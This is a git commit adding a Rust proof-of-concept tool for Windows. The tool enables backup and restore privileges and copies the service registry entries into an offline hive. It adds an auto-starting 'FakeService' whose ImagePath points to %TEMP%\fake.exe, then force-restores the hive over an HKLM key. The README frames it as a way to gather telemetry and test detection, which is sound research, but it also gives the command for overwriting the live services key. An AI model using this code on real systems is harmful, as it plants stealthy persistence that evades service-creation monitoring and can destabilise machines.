commit 79624fbddc74f60c98569bb621832d83eb4d49b0 Author: Mike Barclay Date: Tue Sep 16 12:09:29 2025 -0400 rewritten in rust diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..376dd8d --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +/target +.claude +.vscode \ No newline at end of file diff --git a/Cargo.lock b/Cargo.lock new file mode 100644 index 0000000..964acb7 --- /dev/null +++ b/Cargo.lock @@ -0,0 +1,156 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "RegstorationRust" +version = "0.1.0" +dependencies = [ + "windows", +] + +[[package]] +name = "proc-macro2" +version = "1.0.101" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "89ae43fd86e4158d6db51ad8e2b80f313af9cc74f5c0e03ccb87de09998732de" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1885c039570dc00dcb4ff087a89e185fd56bae234ddc7f056a945bf36467248d" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "syn" +version = "2.0.106" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ede7c438028d4436d71104916910f5bb611972c5cfd7f89b8300a8186e6fada6" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "unicode-ident" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a5f39404a5da50712a4c1eecf25e90dd62b613502b7e925fd4e4d19b5c96512" + +[[package]] +name = "windows" +version = "0.62.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9579d0e6970fd5250aa29aba5994052385ff55cf7b28a059e484bb79ea842e42" +dependencies = [ + "windows-collections", + "windows-core", + "windows-future", + "windows-link", + "windows-numerics", +] + +[[package]] +name = "windows-collections" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a90dd7a7b86859ec4cdf864658b311545ef19dbcf17a672b52ab7cefe80c336f" +dependencies = [ + "windows-core", +] + +[[package]] +name = "windows-core" +version = "0.62.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "57fe7168f7de578d2d8a05b07fd61870d2e73b4020e9f49aa00da8471723497c" +dependencies = [ + "windows-implement", + "windows-interface", + "windows-link", + "windows-result", + "windows-strings", +] + +[[package]] +name = "windows-future" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2194dee901458cb79e1148a4e9aac2b164cc95fa431891e7b296ff0b2f1d8a6" +dependencies = [ + "windows-core", + "windows-link", + "windows-threading", +] + +[[package]] +name = "windows-implement" +version = "0.60.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a47fddd13af08290e67f4acabf4b459f647552718f683a7b415d290ac744a836" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "windows-interface" +version = "0.59.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bd9211b69f8dcdfa817bfd14bf1c97c9188afa36f4750130fcdf3f400eca9fa8" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "windows-link" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "45e46c0661abb7180e7b9c281db115305d49ca1709ab8242adf09666d2173c65" + +[[package]] +name = "windows-numerics" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2ce3498fe0aba81e62e477408383196b4b0363db5e0c27646f932676283b43d8" +dependencies = [ + "windows-core", + "windows-link", +] + +[[package]] +name = "windows-result" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7084dcc306f89883455a206237404d3eaf961e5bd7e0f312f7c91f57eb44167f" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-strings" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7218c655a553b0bed4426cf54b20d7ba363ef543b52d515b3e48d7fd55318dda" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-threading" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ab47f085ad6932defa48855254c758cdd0e2f2d48e62a34118a268d8f345e118" +dependencies = [ + "windows-link", +] diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..24d12fc --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,15 @@ +[package] +name = "RegstorationRust" +version = "0.1.0" +edition = "2024" + +[dependencies] +windows = {version = "0.62.0", features = [ + "Win32_Foundation", + "Win32_System_Registry", + "Wdk_System_OfflineRegistry", + "Win32_Security", + "Win32_System_Threading", + "Win32_Security_Authorization", + "Win32_System_SystemServices" +]} diff --git a/README.md b/README.md new file mode 100644 index 0000000..5d496d7 --- /dev/null +++ b/README.md @@ -0,0 +1,8 @@ +# WARNING: THIS PROOF OF CONCEPT IS LIKELY TO CAUSE SYSTEM INSTABILITY WHEN USED TO OVERWRITE THE CURRENT CONTENTS OF THE ACTUAL ROOT SERVICES KEY (`SOFTWARE\\CURRENTCONTROLSET\\SERVICES`) +- If you would like to test overwriting the actual services key, do so using a virtual machine that can be restored from a stable snapshot +- I suggest creating a dummy key to collect telemetry or evaluate detection strategies for this approach. The telemetry will be the same aside from the targeted path in the restore operation. + +# Usage +- `cargo build` +- Restore to test key at `HKLM\Software\Test` (key must already exist): `cargo run` +- Restore to arbitrary HKLM key (key must already exist): `cargo run -- SOFTWARE\CURRENTCONTROLSET\SERVICES` \ No newline at end of file diff --git a/src/main.rs b/src/main.rs new file mode 100644 index 0000000..bdf1d44 --- /dev/null +++ b/src/main.rs @@ -0,0 +1,743 @@ +use windows::{ + core::*, + Win32::Foundation::*, + Win32::System::Registry::*, + Win32::Security::*, + Win32::System::Threading::*, + Wdk::System::OfflineRegistry::*, +}; +use std::ffi::c_void; +use std::path::PathBuf; + +// Registry constants +const RRF_RT_ANY: u32 = 0x0000FFFF; +const REG_FORCE_RESTORE: i32 = 0x00000008; + +// Security constants +const PRIVILEGE_SET_ALL_NECESSARY: u32 = 1; + +// Helper function to convert &str to PCWSTR with proper lifetime management +fn to_pcwstr(s: &str) -> (Vec, PCWSTR) { + let wide: Vec = s.encode_utf16().chain(std::iter::once(0)).collect(); + let pcwstr = PCWSTR::from_raw(wide.as_ptr()); + (wide, pcwstr) +} + +// Check if current process is running with elevated privileges +fn is_process_elevated() -> windows::core::Result { + unsafe { + let mut token = HANDLE::default(); + OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token)?; + + let mut elevation = TOKEN_ELEVATION::default(); + let mut return_length = 0u32; + + GetTokenInformation( + token, + TokenElevation, + Some(&mut elevation as *mut _ as *mut c_void), + std::mem::size_of::() as u32, + &mut return_length, + )?; + + CloseHandle(token).ok(); + Ok(elevation.TokenIsElevated != 0) + } +} + +// Enable a specific privilege by name +fn enable_privilege(privilege_name: &str) -> windows::core::Result<()> { + unsafe { + let mut token = HANDLE::default(); + OpenProcessToken( + GetCurrentProcess(), + TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, + &mut token, + )?; + + let privilege_name_cstr = std::ffi::CString::new(privilege_name) + .map_err(|_| windows::core::Error::from_hresult(E_INVALIDARG))?; + + let mut luid = LUID::default(); + LookupPrivilegeValueA( + PCSTR::null(), + PCSTR::from_raw(privilege_name_cstr.as_ptr() as *const u8), + &mut luid, + )?; + + let mut tp = TOKEN_PRIVILEGES { + PrivilegeCount: 1, + Privileges: [LUID_AND_ATTRIBUTES { + Luid: luid, + Attributes: SE_PRIVILEGE_ENABLED, + }], + }; + + AdjustTokenPrivileges( + token, + false, + Some(&mut tp), + 0, + None, + None, + )?; + + CloseHandle(token).ok(); + Ok(()) + } +} + +// Check if a privilege is enabled +fn is_privilege_enabled(privilege_name: &str) -> windows::core::Result { + unsafe { + let mut token = HANDLE::default(); + OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token)?; + + let privilege_name_cstr = std::ffi::CString::new(privilege_name) + .map_err(|_| windows::core::Error::from_hresult(E_INVALIDARG))?; + + let mut luid = LUID::default(); + LookupPrivilegeValueA( + PCSTR::null(), + PCSTR::from_raw(privilege_name_cstr.as_ptr() as *const u8), + &mut luid, + )?; + + let privilege_set = PRIVILEGE_SET { + PrivilegeCount: 1, + Control: PRIVILEGE_SET_ALL_NECESSARY, + Privilege: [LUID_AND_ATTRIBUTES { + Luid: luid, + Attributes: TOKEN_PRIVILEGES_ATTRIBUTES(0), + }], + }; + + let mut result = false.into(); + PrivilegeCheck(token, &privilege_set as *const _ as *mut _, &mut result)?; + + CloseHandle(token).ok(); + Ok(result.as_bool()) + } +} + +// Enable required privileges for registry restoration +fn enable_required_privileges() -> windows::core::Result<()> { + println!("[+] Checking/Setting token privileges needed to call RegRestoreKey!"); + + // Check if process is elevated + if !is_process_elevated()? { + println!("[!] Process is not running with elevated privileges. Please run as administrator."); + return Err(windows::core::Error::from_hresult(E_ACCESSDENIED)); + } + + let required_privileges = ["SeBackupPrivilege", "SeRestorePrivilege"]; + let mut privileges_needed = Vec::new(); + + // Check which privileges need to be enabled + for privilege in &required_privileges { + if !is_privilege_enabled(privilege)? { + privileges_needed.push(*privilege); + } + } + + if privileges_needed.is_empty() { + println!("[+] Both privileges already enabled!"); + return Ok(()); + } + + println!("[+] {} privileges need to be enabled to restore a reg hive file!", privileges_needed.len()); + + // Enable each required privilege + for privilege in &privileges_needed { + println!("[+] Enabling {}!", privilege); + enable_privilege(privilege)?; + println!("[+] {} enabled successfully!", privilege); + } + + // Verify privileges were enabled + for privilege in &required_privileges { + if !is_privilege_enabled(privilege)? { + println!("[!] Failed to enable {}", privilege); + return Err(windows::core::Error::from_hresult(E_FAIL)); + } + } + + println!("[+] All required privileges enabled successfully!"); + Ok(()) +} + +// Restore registry from hive file +fn restore_from_hive(hive_filename: &str, target_key: &str) -> windows::core::Result<()> { + // Get temp directory path + let temp_dir = std::env::var("LOCALAPPDATA") + .or_else(|_| std::env::var("TEMP")) + .unwrap_or_else(|_| "C:\\Temp".to_string()); + + let mut hive_path = PathBuf::from(temp_dir); + hive_path.push("Temp"); + hive_path.push(hive_filename); + + println!("[+] Restoring hive from: {}", hive_path.display()); + + // Convert paths to wide strings + let path_str = hive_path.to_string_lossy(); + let (_wide_path, path_pcwstr) = to_pcwstr(&path_str); + let (_target_key_wide, target_key_pcwstr) = to_pcwstr(target_key); + + // Open target registry key + let mut target_hkey = HKEY::default(); + let open_result = unsafe { + RegOpenKeyExW( + HKEY_LOCAL_MACHINE, + target_key_pcwstr, + Some(0), + KEY_ALL_ACCESS, + &raw mut target_hkey, + ) + }; + + if open_result != ERROR_SUCCESS { + println!("Failed to open target key '{}'. Error: {:?}", target_key, open_result); + return Err(windows::core::Error::from_hresult(HRESULT(open_result.0 as i32))); + } + + // Restore the hive + let restore_result = unsafe { + RegRestoreKeyW( + target_hkey, + path_pcwstr, + REG_RESTORE_KEY_FLAGS(REG_FORCE_RESTORE), + ) + }; + + // Close the target key + unsafe { + let _ = RegCloseKey(target_hkey); + } + + if restore_result != ERROR_SUCCESS { + match restore_result.0 { + 0x522 => { // ERROR_PRIVILEGE_NOT_HELD + println!("Failed to restore hive: Insufficient privileges. Please ensure SeBackupPrivilege and SeRestorePrivilege are enabled."); + } + 0x5 => { // ERROR_ACCESS_DENIED + println!("Failed to restore hive: Access denied. Please ensure you have administrative privileges."); + } + _ => { + println!("Failed to restore hive. Error: {:?}", restore_result); + } + } + return Err(windows::core::Error::from_hresult(HRESULT(restore_result.0 as i32))); + } + + println!("[+] Successfully restored hive"); + Ok(()) +} + +fn get_installed_services() -> windows::core::Result> { + let (_service_key_path_wide, service_key_path) = to_pcwstr("SYSTEM\\CurrentControlSet\\Services"); + let mut key_handle = HKEY::default(); + + let result = unsafe { + RegOpenKeyExW( + HKEY_LOCAL_MACHINE, + service_key_path, + Some(0), + KEY_READ, + &raw mut key_handle, + ) + }; + + if result != ERROR_SUCCESS { + println!("RegOpenKeyExW FAILED to open the root services key. Error: {}", result.0); + return Err(windows::core::Error::from_hresult(result.into())); + } + + println!("[+] Opened root services key"); + + let mut service_names = Vec::new(); + + // Enumerate installed services + let mut index = 0u32; + loop { + let mut key_name = [0u16; 260]; // MAX_PATH equivalent (wide chars) + let mut key_name_size = key_name.len() as u32; + + let enum_result = unsafe { + RegEnumKeyExW( + key_handle, + index, + Some(PWSTR(key_name.as_mut_ptr())), + &raw mut key_name_size, + None, + None, + None, + None, + ) + }; + + if enum_result != ERROR_SUCCESS { + break; + } + + // Convert from wide string to String + let key_name_slice = &key_name[..key_name_size as usize]; + if let Ok(service_name) = String::from_utf16(key_name_slice) { + service_names.push(service_name); + } + + index += 1; + } + + // Close the root key + unsafe { + let _ = RegCloseKey(key_handle); + } + + println!("[+] Found {} services", service_names.len()); + Ok(service_names) +} + + +fn enumerate_registry_values(key_handle: HKEY) -> windows::core::Result> { + let mut value_names = Vec::new(); + let mut index = 0u32; + + loop { + let mut value_name = [0u16; 260]; // MAX_PATH equivalent + let mut value_name_size = value_name.len() as u32; + + let enum_result = unsafe { + RegEnumValueW( + key_handle, + index, + Some(PWSTR(value_name.as_mut_ptr())), + &raw mut value_name_size, + None, + None, + None, + None, + ) + }; + + if enum_result != ERROR_SUCCESS { + // ERROR_NO_MORE_ITEMS indicates we've enumerated all values + if enum_result == ERROR_NO_MORE_ITEMS { + break; + } else { + println!("RegEnumValueW failed with error: {:?}", enum_result); + break; + } + } + + // Convert from wide string to String + let value_name_slice = &value_name[..value_name_size as usize]; + if let Ok(value_name_str) = String::from_utf16(value_name_slice) { + value_names.push(value_name_str); + } + + index += 1; + } + + Ok(value_names) +} + +fn copy_registry_values(source_key: HKEY, dest_key: ORHKEY) -> windows::core::Result { + // Enumerate all values in the source key + let value_names = enumerate_registry_values(source_key)?; + let mut values_copied = 0u32; + + for value_name in &value_names { + let (_value_name_wide, value_name_pcwstr) = to_pcwstr(value_name); + + // First call to RegGetValueW to get the size and type + let mut value_type: REG_VALUE_TYPE = REG_VALUE_TYPE(0); + let mut data_size: u32 = 0; + + let size_result = unsafe { + RegGetValueW( + source_key, + PCWSTR::null(), + value_name_pcwstr, + REG_ROUTINE_FLAGS(RRF_RT_ANY), + Some(&raw mut value_type), + None, + Some(&raw mut data_size), + ) + }; + + if size_result != ERROR_SUCCESS { + println!(" Failed to get size for value '{}'. Error: {:?}", value_name, size_result); + continue; + } + + if data_size > 0 { + // Allocate buffer and read the actual data + let mut data: Vec = vec![0u8; data_size as usize]; + let _original_data_size = data_size; // Save original size before second call + + let read_result = unsafe { + RegGetValueW( + source_key, + PCWSTR::null(), + value_name_pcwstr, + REG_ROUTINE_FLAGS(RRF_RT_ANY), + Some(&raw mut value_type), + Some(data.as_mut_ptr() as *mut c_void), + Some(&raw mut data_size), + ) + }; + + if read_result != ERROR_SUCCESS { + println!(" Failed to read data for value '{}'. Error: {:?}", value_name, read_result); + continue; + } + + // Ensure we only use the actual data size, not the buffer size + let actual_data = &data[..data_size as usize]; + + // Write the value to the offline hive + let write_result = unsafe { + ORSetValue( + dest_key, + value_name_pcwstr, + value_type.0, + Some(actual_data), + ) + }; + + if write_result != WIN32_ERROR(0) { + println!(" Failed to write value '{}' to hive. Error: {:?}", value_name, write_result); + continue; + } + + values_copied += 1; + } else { + println!(" Value '{}' has no data", value_name); + } + } + + Ok(values_copied) +} + +fn copy_services_to_hive(service_names: &Vec, hive_handle: ORHKEY) -> windows::core::Result<()> { + println!("[+] Using service keys from registry struct to populate the hive file..."); + + // TODO: Implement full service copying logic + // This would involve: + // - Opening each service key in the real registry + // - Creating corresponding keys in the offline hive + // - Copying all values for each service + for service_name in service_names { + // Convert service name to wide string for ORCreateKey + let (_service_name_wide, service_name_pcwstr) = to_pcwstr(service_name); + // Create service path as wide string for RegOpenKeyExW + let service_path = format!("SYSTEM\\CurrentControlSet\\Services\\{service_name}"); + let (_service_path_wide, service_path_pcwstr) = to_pcwstr(&service_path); + // open the original service key in the real registry + let mut og_key_handle = HKEY::default(); + let open_result = unsafe { + RegOpenKeyExW( + HKEY_LOCAL_MACHINE, + service_path_pcwstr, + Some(0), + KEY_READ, + &raw mut og_key_handle, + ) + }; + + if open_result != ERROR_SUCCESS { + println!("Failed to open service key '{}'. Error: {:?}", service_name, open_result); + continue; // Skip this service and continue with the next one + } + + // create the equivalent key in the offline registry hive + let mut offline_service_key = ORHKEY::default(); + let mut disposition: u32 = 0; + let create_result = unsafe { + ORCreateKey( + hive_handle, + service_name_pcwstr, + PWSTR::null(), // lpClass - can be null + Some(0), // dwOptions - 0 for default (wrapped in Some) + None, // pSecurityDescriptor - can be null + &raw mut offline_service_key, + Some(&raw mut disposition) + ) + }; + + if create_result != WIN32_ERROR(0) { + println!("Failed to create offline service key '{}'. Error: {:?}", service_name, create_result); + unsafe { + let _ = RegCloseKey(og_key_handle); + } + continue; // Skip this service and continue with the next one + } + + // Copy values from og_key_handle to offline_service_key + match copy_registry_values(og_key_handle, offline_service_key) { + Ok(values_copied) => { + if values_copied > 0 { + println!(" Copied {} values for service '{}'", values_copied, service_name); + } + } + Err(e) => { + println!(" Failed to copy values for service '{}'. Error: {:?}", service_name, e); + } + } + + + // Clean up handles + unsafe { + let _ = RegCloseKey(og_key_handle); + let _ = ORCloseKey(offline_service_key); + } + } + + Ok(()) +} + +fn add_fake_service(hive_handle: ORHKEY) -> windows::core::Result<()> { + println!("[+] Adding fake service to hive..."); + + let (_service_name_wide, service_name_pcwstr) = to_pcwstr("FakeService"); + + // Create the fake service key in the offline hive + let mut fake_service_key = ORHKEY::default(); + let mut disposition: u32 = 0; + let create_result = unsafe { + ORCreateKey( + hive_handle, + service_name_pcwstr, + PWSTR::null(), + Some(0), + None, + &raw mut fake_service_key, + Some(&raw mut disposition) + ) + }; + + if create_result != WIN32_ERROR(0) { + println!("Failed to create fake service key. Error: {:?}", create_result); + return Err(windows::core::Error::from_hresult(HRESULT(create_result.0 as i32))); + } + + // Define fake service values + let service_values = [ + ("DisplayName", "Fake Service", 1u32), // REG_SZ + ("ImagePath", "%TEMP%\\fake.exe", 2u32), // REG_EXPAND_SZ + ("Type", "", 4u32), // REG_DWORD - will set data separately + ("Start", "", 4u32), // REG_DWORD - will set data separately + ("ErrorControl", "", 4u32), // REG_DWORD - will set data separately + ]; + + // DWORD values + let type_value: u32 = 0x10; // SERVICE_WIN32_OWN_PROCESS + let start_value: u32 = 0x02; // AUTO_START + let error_control_value: u32 = 0x01; // Normal + + for (name, string_data, value_type) in &service_values { + let (_name_wide, name_pcwstr) = to_pcwstr(name); + + let set_result = if *value_type == 4 { // REG_DWORD + let data = match *name { + "Type" => type_value.to_le_bytes(), + "Start" => start_value.to_le_bytes(), + "ErrorControl" => error_control_value.to_le_bytes(), + _ => [0u8; 4], + }; + + unsafe { + ORSetValue( + fake_service_key, + name_pcwstr, + *value_type, + Some(&data), + ) + } + } else { // REG_SZ or REG_EXPAND_SZ + let (_string_wide, string_pcwstr) = to_pcwstr(string_data); + let string_bytes = string_data.encode_utf16() + .chain(std::iter::once(0)) + .flat_map(|u| u.to_le_bytes()) + .collect::>(); + + unsafe { + ORSetValue( + fake_service_key, + name_pcwstr, + *value_type, + Some(&string_bytes), + ) + } + }; + + if set_result != WIN32_ERROR(0) { + println!("Failed to set value '{}' for fake service. Error: {:?}", name, set_result); + unsafe { + let _ = ORCloseKey(fake_service_key); + } + return Err(windows::core::Error::from_hresult(HRESULT(set_result.0 as i32))); + } + } + + // Close the fake service key + unsafe { + let _ = ORCloseKey(fake_service_key); + } + + println!("[+] Successfully added fake service to hive"); + Ok(()) +} + +fn save_hive(hive_handle: ORHKEY) -> windows::core::Result<()> { + // Get temp directory path + let temp_dir = std::env::var("LOCALAPPDATA") + .or_else(|_| std::env::var("TEMP")) + .unwrap_or_else(|_| "C:\\Temp".to_string()); + + let mut hive_path = PathBuf::from(temp_dir); + hive_path.push("Temp"); + hive_path.push("restore_hive.hive"); + + // Delete existing file if it exists + if hive_path.exists() { + if let Err(e) = std::fs::remove_file(&hive_path) { + println!("Warning: Failed to delete existing hive file: {}", e); + } else { + println!("[+] Deleted existing hive file"); + } + } + + println!("[+] Saving hive to: {}", hive_path.display()); + + // Convert path to wide string + let path_str = hive_path.to_string_lossy(); + let (_wide_path, path_pcwstr) = to_pcwstr(&path_str); + + // Save the hive with version 10 (Windows 10/11) + let result = unsafe { + ORSaveHive( + hive_handle, + path_pcwstr, + 10, // Major version (Windows 10/11) + 0 // Minor version + ) + }; + + if result != WIN32_ERROR(0) { + println!("Failed to save hive. Error: {:?}", result); + return Err(windows::core::Error::from_hresult(HRESULT(result.0 as i32))); + } + + println!("[+] Successfully saved hive"); + Ok(()) +} + +fn create_and_populate_hive(service_names: &Vec) -> windows::core::Result<()> { + // Create offline hive + let mut hive_handle = ORHKEY::default(); + let result = unsafe { + ORCreateHive(&raw mut hive_handle) + }; + + if result != WIN32_ERROR(0) { + println!("ORCreateHive FAILED. Error: {:?}", result); + return Err(windows::core::Error::from_hresult(HRESULT(result.0 as i32))); + } + + println!("[+] Successfully created offline hive"); + + // Copy services to hive + copy_services_to_hive(service_names, hive_handle)?; + + // Add fake service to hive + add_fake_service(hive_handle)?; + + // Save hive to file + save_hive(hive_handle)?; + + // Close the hive + unsafe { + let _ = ORCloseHive(hive_handle); + } + + Ok(()) +} + +fn main() { + // Get command line arguments for target key (if provided) + let args: Vec = std::env::args().collect(); + let target_key = if args.len() > 1 { + args[1].clone() + } else { + "SOFTWARE\\Test".to_string() // Default target key like C implementation + }; + + println!("[+] Target key: {}", target_key); + + match get_installed_services() { + Ok(service_names) => { + println!("Successfully enumerated {} services", service_names.len()); + + // Display first few service names + println!("First 10 services:"); + for service_name in service_names.iter().take(10) { + println!(" {}", service_name); + } + + // Create and populate hive + println!("\n[+] Creating offline hive..."); + match create_and_populate_hive(&service_names) { + Ok(()) => { + println!("[+] Successfully created and saved hive file"); + } + Err(e) => { + println!("Failed to create and populate hive: {}", e); + return; + } + } + + // Enable required privileges + match enable_required_privileges() { + Ok(()) => { + println!("[+] Token privileges configured successfully"); + } + Err(e) => { + println!("Failed to enable required privileges: {}", e); + return; + } + } + + // Restore hive to target registry key + println!("\n[+] Restoring to registry key: {}", target_key); + match restore_from_hive("restore_hive.hive", &target_key) { + Ok(()) => { + println!("[+] Successfully restored hive to registry"); + } + Err(e) => { + println!("Failed to restore from hive: {}", e); + return; + } + } + + // Clean up hive file + let temp_dir = std::env::var("LOCALAPPDATA") + .or_else(|_| std::env::var("TEMP")) + .unwrap_or_else(|_| "C:\\Temp".to_string()); + + let mut hive_path = PathBuf::from(temp_dir); + hive_path.push("Temp"); + hive_path.push("restore_hive.hive"); + + if let Err(e) = std::fs::remove_file(&hive_path) { + println!("Warning: Failed to delete hive file: {}", e); + } else { + println!("[+] Cleaned up hive file in temp folder"); + } + } + Err(e) => { + println!("Failed to get installed services: {e}"); + } + } +} diff --git a/src/reg.rs b/src/reg.rs new file mode 100644 index 0000000..e69de29 diff --git a/src/token.rs b/src/token.rs new file mode 100644 index 0000000..e69de29